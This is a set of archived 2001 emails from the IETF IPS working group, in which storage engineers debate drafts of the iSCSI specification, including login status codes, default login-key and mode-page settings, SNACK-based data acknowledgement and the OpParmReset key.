Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA27689 for ; Thu, 20 Sep 2001 21:27:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8L0OZ923091 for ips-outgoing; Thu, 20 Sep 2001 20:24:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8L0OYP23086 for ; Thu, 20 Sep 2001 20:24:34 -0400 (EDT) Received: from xparelay2.corp.hp.com (unknown [15.58.137.112]) by palrel1.hp.com (Postfix) with ESMTP id B1E40BCC; Thu, 20 Sep 2001 17:24:29 -0700 (PDT) Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223]) by xparelay2.corp.hp.com (Postfix) with ESMTP id 4A0EE1F572; Thu, 20 Sep 2001 17:24:29 -0700 (PDT) Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 17:24:29 -0700 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF125@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi rev 7.93 : Login response Status codes. Date: Thu, 20 Sep 2001 17:24:26 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > A couple of comments on the login status codes (rev 7.93 > Section 2.13.5 > page 90 ) : > > 1) Session type | 0209 | Target does not support this type of > Not supported | | of session (not from this Initiator) > > +++ Sessions are mandatory to support but can be rejected > from a specific > initiator +++ Julian, I'm not sure what you mean by this. There is nothing I can find in the document that states that both session types are mandatory to implement. It should be possible to construct "targets" that support only a discovery session, for the purpose of "re-directs" or to construct a central "target information server". I would agree that "discovery" session type is mandatory to implement, but not "normal operational session". Furthermore, this response code should only be returned if the initiator has requested a "normal operational session" with a target that only supports the "discovery" session type. It makes no sense for a device to allow an initiator to authenticate, only to reject a "discovery" session type. If a target doesn't at least support a "discovery" session type, it's not an iSCSI target... Marj From owner-ips@ece.cmu.edu Fri Sep 21 11:11:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27967 for ; Fri, 21 Sep 2001 11:11:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LDpfH14202 for ips-outgoing; Fri, 21 Sep 2001 09:51:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from apollo.pirus.com ([4.36.58.225]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LDpbP14197 for ; Fri, 21 Sep 2001 09:51:38 -0400 (EDT) Received: by apollo.pirus.com with Internet Mail Service (5.5.2650.21) id ; Fri, 21 Sep 2001 09:55:00 -0400 Message-ID: From: "Binford, Charles" To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. Date: Fri, 21 Sep 2001 09:54:58 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, I fully agree with the intent of your comments. One small problem, however, is you argue for FirstBurstSize = 0. Based on your other comments I believe you are saying first burst should be disabled. SPC-2 (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to mean "no limit". I believe that is exactly the opposite of what your are arguing for. The mode page field of firstFirstSize does not have or need the concept of zero blocks allowed because the feature is is enabled / disabled via other methods; process login parameters in FCP, initialR2T and ImmediateData text parameters. So, we have the problem of how does a host that wants to use immediate or unsolicited data know how much he can send. Options I see are: - define a default value for the mode page (current method in iSCSI spec). As I argued in previous posting, I believe this breaks basic mode page concepts of SCSI. - force the host to issue a mode sense before the first command with Data-Out. Not desirable, as Santosh argued in another email. - specify the amount of data the host send before the R2T during login as a text parameter What I prefer. If we go with the last choice, then one has the question of what to do with firstBurstSize in the mode page. Two options come to mind: - reflect the login specified value in firstburstsize during mode sense. Memory says this is how it used to be? - do nothing with it. Let iSCSI say that parameter in the mode page has no meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the iSCSI login/text parameters and let it stay there, don't try to tie it in to the mode pagan at all. (my preferred choice) Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 20, 2001 6:44 PM To: IPS Reflector Subject: RE: iscsi : default iscsi mode page settings. All, I think we need to discuss the 2 issues of login key defaults & mode page defaults seperately : 1) Defaults on login keys : =================== I am in favor of defining conservative defaults. Those initiators needing additional features should be prepared to do the additional work of negotiating those keys. It should'nt be the other way around. Thus, default settings should be : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" I'd like to propose one more change that the LogoutLoginMinTime & LogoutLoginMaxTime login keys be removed from the login keys. This is because these key values are only relevant for an initiator re-login following a target originated logout or connection drop (signalled through an async message). The async message does contain these values and thus, it provides no additional value to negotiate these during login. Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most likely properties of the target device (how long array "xyz" goes out to lunch during certain infamous conditions) as opposed to a value that can be negotiated on a per-initiator basis. 2) Defaults on iscsi mode pages : ======================== Typically, no protocol defaults are specified for mode page settings. Initiators should be able to function correctly without having to do either mode select or mode sense. Any initiator that needs advanced settings should be prepared to do the extra work of issuing mode sense/select to enable these features. It should NOT be the other way around. (i.e. simple initiators should NOT have to first issue a mode select in order to ensure proper operation of their sessions). If the draft does wish to profile a set of recommended defaults for the iscsi, these should be conservative, where they affect the operation of those initiators that do not wish to perform mode select. In particular, the following defaults are required, if it is decided to recommend a profile of default mode page settings : Disconnect-Reconnect Mode Page -------------------------- * EMDP = 0 * MaximumBurstSize = 512 units (as it currently defined. Targets can request less data in its R2T and send shorter data-in sequences, if mode select is not used by initiators to reduce this value.) * FirstBurstSize = 0 The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use solicited data MUST first perform mode sense/select operations to query/set these values. The above default setting of 128 is in-appropriate since : a) it can cause erroneous behaviour for those initiators that do not perform mode select to explicitly turn it off, since targets for which un-solicited data is enabled but not used may reject/abort the I/O. b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is allowed for every logged-in initiator and they have no control over turning this off, since mode select is an initiator-driven operation. Closing the command window causes performance drops and is not a very satisfactory solution to this problem. Logical Unit Control Mode Page ======================== This mode page definition can be removed from the iscsi draft since it governs per-LUN state information and LUN state is the realm of the SCSI ULP. In particular, it is the SCSI ULP that decides whether to enable/disable CRN, since CRN is generated by the SCSI ULP. Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level & not at a SCSI ULP mode page such as the Control Mode Page. (??). Could anybody comment on why CRN (a ULP feature) needs to be enabled in an iscsi protocol mode page ? Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in FCP specific mode pages, since early revisions of FCP did'nt specify the CRN field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was required to be queried/set using mode sense/select, prior to using CRN. Since iscsi supports CRN in its scsi command pdu from its initial rev, I don't see why "Enable CRN" is needed to be done at the iscsi protocol level. (?). Regards, Santosh "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > I vote for making the exchange of some text parameters MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob > > > > > -----Original Message----- > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > [mailto:sbhagat@tripace.com] > > > Sent: Thursday, September 20, 2001 6:59 AM > > > To: 'Santosh Rao'; IPS Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > Santosh, > > > > > > Where did you find these SCSI Mode page settings? At least I > > > could not find > > > it in SAM-2 document? The mode select command is available in > > > SPI documents > > > but they are meant for particular SCSI device and not for > > > iSCSI device? > > > > > > Be it whatever the case I would like to ask why the default value of > > > MaximumBurstSize is 512 units and why is the default value of > > > FirstBurstSize > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > revisions so setting the default value of FirstBurstSize to > > > 128 units means > > > 65536 bytes or 64K Bytes and similarly the value of > > > Maximumburstsize is 256K > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, September 20, 2001 2:04 AM > > > To: IPS Reflector > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > All, > > > > > > Speaking on the subject of default settings, some questions > > on recent > > > changes to the iscsi mode select pages...... > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > out default > > > values for the iscsi mode pages. Per my understanding, there are no > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > features and the default settings are that these features are > > > turned off > > > unless a mode select is explicitly used to enable them. > > > > > > However, the iscsi mode pages seems to be using the opposite > > > policy and > > > is advertising default settings for mode pages, that too, > > > agreesive ones > > > at that! IOW, an initiator implemenation has to explicitly > > > issue a mode > > > select to disable/turn_off features rather than issue a > > mode select to > > > turn them on. > > > > > > Here's a few examples : > > > > > > * default MaximumBurstSize : 512 units > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > by default > > > !) > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > solicited > > > data, unless they explicitly turn it off using mode > > > select, since, > > > not > > > sending solicited data when it has been negotiated > > > implies a target > > > may > > > abort the I/O. > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > default settings > > > be advertised for any iscsi mode > > > pages. i.e. all defaults are conservative (set to 0), unless > > > explicitly > > > turned on thru a mode select. > > > > > > Comments ? > > > > > > Regards, > > > Santosh > > > > > > "Mallikarjun C." wrote: > > > > > > > Matthew, > > > > > > > > I completely agree that the default should be "no"! I > > pointed this > > > > out sometime ago myself. Apart from what you point out, > > the default > > > > setting for "ImmediateData" seems to be at variance with the > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > Julian, could you please consider this request? > > > > > > > > Regards. > > > > -- > > > > Mallikarjun > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > Julian, > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > negotiation if > > > > > the two sides differ. I presume that since the default is "yes", > > > then only > > > > > if both sides agree to "no" is immediate data turned > > off. Please > > > can this > > > > > be stated. > > > > > > > > > > Additionally, I feel that the default value for > > > ImmediateData should > > > be > > > > > "no". > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > Presumable > > > the > > > > > minimum is selected. > > > > > > > > From owner-ips@ece.cmu.edu Fri Sep 21 11:39:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28910 for ; Fri, 21 Sep 2001 11:39:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LEU6g16733 for ips-outgoing; Fri, 21 Sep 2001 10:30:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zcamail03.zca.compaq.com (zcamail03.zca.compaq.com [161.114.32.103]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LEU4P16727 for ; Fri, 21 Sep 2001 10:30:04 -0400 (EDT) Received: by zcamail03.zca.compaq.com (Postfix, from userid 12345) id 3BB3C11F6; Fri, 21 Sep 2001 07:29:40 -0700 (PDT) Received: from cceexg11.americas.cpqcorp.net (cceexg11.americas.cpqcorp.net [16.110.250.125]) by zcamail03.zca.compaq.com (Postfix) with ESMTP id 1F91ABD6 for ; Fri, 21 Sep 2001 07:29:36 -0700 (PDT) Received: from cceexc17.americas.cpqcorp.net ([16.110.250.84]) by cceexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Fri, 21 Sep 2001 09:27:18 -0500 content-class: urn:content-classes:message Subject: RE: iscsi : default iscsi mode page settings. Date: Fri, 21 Sep 2001 09:27:18 -0500 Message-ID: <78AF3C342AEAEF4BA33B35A8A15668C6019E203B@cceexc17.americas.cpqcorp.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Thread-Topic: iscsi : default iscsi mode page settings. X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Thread-Index: AcFCLffaV7/la64fEdWVDAAIx9pSIgAeFoFw From: "Elliott, Robert" To: X-OriginalArrivalTime: 21 Sep 2001 14:27:18.0593 (UTC) FILETIME=[84AD2310:01C142A9] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8LEU5P16730 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 6:44 PM > ... > 2) Defaults on iscsi mode pages: > ================================ > Typically, no protocol defaults are specified for mode page settings. > Initiators should be able to function correctly without > having to do either mode select or mode sense. Any initiator that > needs advanced settings should be prepared to do the extra work of > issuing mode sense/select to enable these features. It should NOT > be the other way around. (i.e. simple initiators should NOT have to > first issue a mode select in order to ensure > proper operation of their sessions). If an initiator cares about any settings it better run MODE SENSE to set them. In a multi-initiator environment with various kinds of reset events occuring on the SAN, an initiator can't be sure of the state of a mode page. (see the tape problem discovered by Veritas in FCP-2 public review; tape mode pages were reset without the knowledge of the application, breaking backups). > Logical Unit Control Mode Page > ============================== > This mode page definition can be removed from the iscsi draft since it > governs per-LUN state information and LUN state is the realm of the > SCSI ULP. In particular, it is the SCSI ULP that decides whether to > enable/disable CRN, since CRN is generated by the SCSI ULP. > > Thus, it is un-clear why the "Enable CRN" is negotiated at a > protocol level & not at a SCSI ULP mode page such as the > Control Mode Page. (??). > > Could anybody comment on why CRN (a ULP feature) needs to be > enabled in an iscsi protocol mode page ? > Perhaps, for FCP it made sense to negotiate something like > "Enable CRN" in FCP specific mode pages, since early revisions > of FCP did'nt specify the CRN field in FCP_CMD IU and so, > the "Enable Precise Delivery" (EPDC) bit was required to > be queried/set using mode sense/select, prior to using CRN. > > Since iscsi supports CRN in its scsi command pdu from its > initial rev, I don't see why "Enable CRN" is needed to be done > at the iscsi protocol level. You're right that history is the reason. CRN was created in FCP-2 and wasn't added to SAM-2 until recently. Thus, it was protocol-specific. The Logical Unit Control mode page was created as a new page separate from the Port Control mode page specifically to host the EPDC bit, which does not have target-wide scope like the other Port Control mode page fields. The Control mode page doesn't have any fields whose implementation depends on the protocol, so it's not really a good home for this. The Disconnect-reconnect mode page does, but CRN doesn't really fit with its other fields. Since FCP-2 has already committed to using the Logical Unit Control mode page, it makes sense for iSCSI to do the same. This should make bridging iSCSI to FCP easier; if software enables CRN on one side, a bridge probably wants it enabled on the other side so it doesn't have trouble reordering packets. By using the same page the bridge can just pass through the Mode Select/Mode Sense data when the software issues those commands. If a different page was used, it might need to generate additional Mode Select/Mode Sense commands and translate the information. This is also why I think EMDP needs to remain controlled by the Port Control mode page, rather than just be delegated to text key exchange. --- Rob Elliott, Compaq Server Storage Robert.Elliott@compaq.com From owner-ips@ece.cmu.edu Fri Sep 21 11:46:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29124 for ; Fri, 21 Sep 2001 11:46:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LEuH418359 for ips-outgoing; Fri, 21 Sep 2001 10:56:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LEuEP18355 for ; Fri, 21 Sep 2001 10:56:15 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id QAA45984 for ; Fri, 21 Sep 2001 16:56:04 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LEtxY290352 for ; Fri, 21 Sep 2001 16:55:59 +0200 Subject: RE: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 17:57:51 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 17:55:59 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I thought you where concerned about "boot duration"? julo "KRUEGER,MARJOR IE To: IPS Reflector (HP-Roseville,e cc: x1)" Subject: RE: iscsi : default iscsi mode Sent by: owner-ips@ece.c mu.edu 20-09-01 21:54 Please respond to "KRUEGER,MARJOR IE (HP-Roseville,e x1)" I vote for making the exchange of some text parameters MANDATORY, with no defaults. Marj > -----Original Message----- > From: Robert Snively [mailto:rsnively@Brocade.COM] > Sent: Thursday, September 20, 2001 10:48 AM > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > > It is true that default mode settings for Mode Pages > are usually arranged between buyer and vendor for > maximum convenience in the buyer's systems. It is > generally true that any setting of a Mode Page will > allow the protocol to operate correctly, except a few, > notably the first burst size parameter if > ImmediateData is set to yes. > > On the other hand, some of the iSCSI text keyed > parameters MUST be known before the protocol will > operate correctly. ImmediateData is certainly > one of those. As a result, you have two choices: > > a) Make the negotiation of all such parameters > MANDATORY during the login and after any > reset that may change them, or; > > b) Define a default state that will be guaranteed > unless and until the parameter has been explicitly > changed. > > Your choice. > > Bob > > > -----Original Message----- > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > [mailto:sbhagat@tripace.com] > > Sent: Thursday, September 20, 2001 6:59 AM > > To: 'Santosh Rao'; IPS Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > Santosh, > > > > Where did you find these SCSI Mode page settings? At least I > > could not find > > it in SAM-2 document? The mode select command is available in > > SPI documents > > but they are meant for particular SCSI device and not for > > iSCSI device? > > > > Be it whatever the case I would like to ask why the default value of > > MaximumBurstSize is 512 units and why is the default value of > > FirstBurstSize > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > revisions so setting the default value of FirstBurstSize to > > 128 units means > > 65536 bytes or 64K Bytes and similarly the value of > > Maximumburstsize is 256K > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > Sanjeev > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, September 20, 2001 2:04 AM > > To: IPS Reflector > > Subject: iscsi : default iscsi mode page settings. > > > > > > All, > > > > Speaking on the subject of default settings, some questions > on recent > > changes to the iscsi mode select pages...... > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > out default > > values for the iscsi mode pages. Per my understanding, there are no > > defaults for SCSI mode pages, and all the setting are assumed to be > > disabled, unless explicitly turned on/enabled through a mode select. > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > features and the default settings are that these features are > > turned off > > unless a mode select is explicitly used to enable them. > > > > However, the iscsi mode pages seems to be using the opposite > > policy and > > is advertising default settings for mode pages, that too, > > agreesive ones > > at that! IOW, an initiator implemenation has to explicitly > > issue a mode > > select to disable/turn_off features rather than issue a > mode select to > > turn them on. > > > > Here's a few examples : > > > > * default MaximumBurstSize : 512 units > > * default EMDP : 1 (i.e. modify data pointers is enabled > by default > > !) > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > solicited > > data, unless they explicitly turn it off using mode > > select, since, > > not > > sending solicited data when it has been negotiated > > implies a target > > may > > abort the I/O. > > > > I suggest that in keeping with the scsi mode pages, NO > > default settings > > be advertised for any iscsi mode > > pages. i.e. all defaults are conservative (set to 0), unless > > explicitly > > turned on thru a mode select. > > > > Comments ? > > > > Regards, > > Santosh > > > > "Mallikarjun C." wrote: > > > > > Matthew, > > > > > > I completely agree that the default should be "no"! I > pointed this > > > out sometime ago myself. Apart from what you point out, > the default > > > setting for "ImmediateData" seems to be at variance with the > > > conservative default for "InitialR2T" ("yes"). > > > > > > Julian, could you please consider this request? > > > > > > Regards. > > > -- > > > Mallikarjun > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > Julian, > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > negotiation if > > > > the two sides differ. I presume that since the default is "yes", > > then only > > > > if both sides agree to "no" is immediate data turned > off. Please > > can this > > > > be stated. > > > > > > > > Additionally, I feel that the default value for > > ImmediateData should > > be > > > > "no". > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > Presumable > > the > > > > minimum is selected. > > > > > From owner-ips@ece.cmu.edu Fri Sep 21 11:48:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29150 for ; Fri, 21 Sep 2001 11:48:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LEm3717783 for ips-outgoing; Fri, 21 Sep 2001 10:48:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LEm0P17774 for ; Fri, 21 Sep 2001 10:48:00 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id QAA28226 for ; Fri, 21 Sep 2001 16:47:51 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LEloS44200 for ; Fri, 21 Sep 2001 16:47:50 +0200 Subject: Re: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 17:40:51 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 17:47:50 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, None of your arguments makes much sense. The ACK (a third form of SNACK) can be done at explicit boundaries and only by initiators supporting the within command class. For most of the initiator it will require 0 additional resources as they either don't do they recovery, or the input data is short (the ack is not needed at the end as the status ack acks the data too). For the ones that have long exchanges (tape and 3rd party) it is a big help. But you did not fail (again) to make your point. Julo Santosh Rao cc: Sent by: Subject: Re: iSCSI: SNACK R2T/Data owner-ips@ece. cmu.edu 20-09-01 18:54 Please respond to Santosh Rao Matthew, We have gone through this thread of discussion regarding DataSNa long time back on ips and the consensus has been that I/O transfer sizes are not large enough to justify OUT_OF_BAND acknowledgement of data. [achieved by having the initiator generate NOP-OUTs in response to received data pdu's to send a DataSN ack.] The primary dis-advantage with that scheme was that the data ack's were being generated out-of-band, and therefore, implied extra cost in terms of initiator resources for each I/O, as well as increased wire traffic per I/O, performance penalty, etc. I am opposed to the draft requiring initiators to send out-of-band ack's to data pdu's through the use of initiator generated NOP-OUT pdus. This is a performance penalty, a resource overhead, and not really justified in most I/O traffic due to the avg. data xfer sizes. Regards, Santosh Julian Satran wrote: > Matthew, > > I am also in favor of such a mechanism. It is easy to implement (another > form of SNACK) and we have already built-in a mechanism by which an inbound > stream can be marked for acking (the inbound sequence separator F bit). > It can also be specified as mandated only if the within-command recovery > class is present. > > However I am reluctant to open again this issue except if there are more > supporters. Data ACKs where hastily dropped at the interim meeting in > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh Rao as being very > vocal against them (arguing complexity) and carrying the room with them. > > Julo > > > "BURBRIDGE,MATTH > EW To: Julian Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > m,ex2)" cc: > ge@hp.com> > > 19-09-01 17:25 > Please respond > to > "BURBRIDGE,MATTH > EW > (HP-UnitedKingdo > m,ex2)" > > > > I am very much in favour of having a positive ACK mechanism to control > buffer resources at the target. If there is a very large transfer (e.g. 1 > Mb) then the sender can release buffer space once it knows that the > receiver > has received the data. It is worth pointing out that this mechanism is for > buffer control and is not for flow control which, as we all know, is > handled > by TCP. > > Cheers > > Matthew Burbridge > Senior Development Engineer > NIS-Bristol > Hewlett Packard > Telnet: 312 7010 > E-mail: matthewb@bri.hp.com > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 19, 2001 6:28 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: SNACK R2T/Data > > There is no ACK mechanism. The group wisdom was that there is no need for > one. > Incoming data and R2Ts are not acked (a mechanism that did that existed and > was based on NOP-Out). > > Julo > > Michael Schoberg on 18-09-2001 19:09:51 > > Please respond to Michael Schoberg > > To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL > cc: > Subject: iSCSI: SNACK R2T/Data > > Old subject, but I couldn't find any discussion on this: > > When does the target know it no longer needs to hold R2T & Data PDUs? > StatSN responses are acknowledged through the ExpStatSN field received in > future I->T requests. What's the acknowledgement method for R2T & Data > PDUs? Is it tied to the original request and acknowledged through the > ExpStatSN acknowledgment of the request's response? > > Thanks. - santoshr.vcf From owner-ips@ece.cmu.edu Fri Sep 21 12:52:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01241 for ; Fri, 21 Sep 2001 12:52:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LFXx520882 for ips-outgoing; Fri, 21 Sep 2001 11:33:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LFWlP20796 for ; Fri, 21 Sep 2001 11:32:47 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id RAA51546 for ; Fri, 21 Sep 2001 17:32:40 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8LFWaY224440 for ; Fri, 21 Sep 2001 17:32:36 +0200 Subject: Re: iscsi : OpParmreset To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Fri, 21 Sep 2001 18:34:25 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 21/09/2001 18:32:36 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, The main purpose of this key was to explicitly cancel the effects of a running negotiation and restart anew. As the draft stands now there is no much difference between the two - but on basic principles the purposes are different (as you well stated). We may change the value to be: OpParmReset= to accommodate both semantics. Julo Santosh Rao hp.com> cc: Sent by: Subject: iscsi : OpParmreset owner-ips@ece. cmu.edu 20-09-01 22:19 Please respond to Santosh Rao All, Please refer the definition of OpParmReset login key. " 30 OpParmReset OpParmReset enables an Initiator or Target to request the operational parameters to be reset to the values they had before the negotiation." I suggest that the definition be re-worded to state that the OpParmReset enables an initiator or target to reset the operational parameters to their DEFAULT VALUES. [instead of the current definition that states that the parameters are reset to the values they had prior to the current negotiation.] The current definition requires the initiator to maintain 2 sets of operational parameter values, the current and the previous. In the case where initiator is just booting up, if the target sets OpParmReset to "yes", the initiator does not know what to set the op params to, since it has lost its prior state information. Comments ? Thanks, Santosh - santoshr.vcf From 